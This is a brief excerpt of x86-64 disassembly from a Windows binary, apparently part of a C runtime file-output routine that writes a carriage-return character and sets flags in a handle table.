mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1400438b6
cmp word [rsp + 0x70], r13w
jne 0x140043893
cmp rbx, r14
je 0x140043850
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1400443a0
cmp word [rsp + 0x70], r13w
je 0x1400438b9
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1400761e0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1400438b3
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1400438b9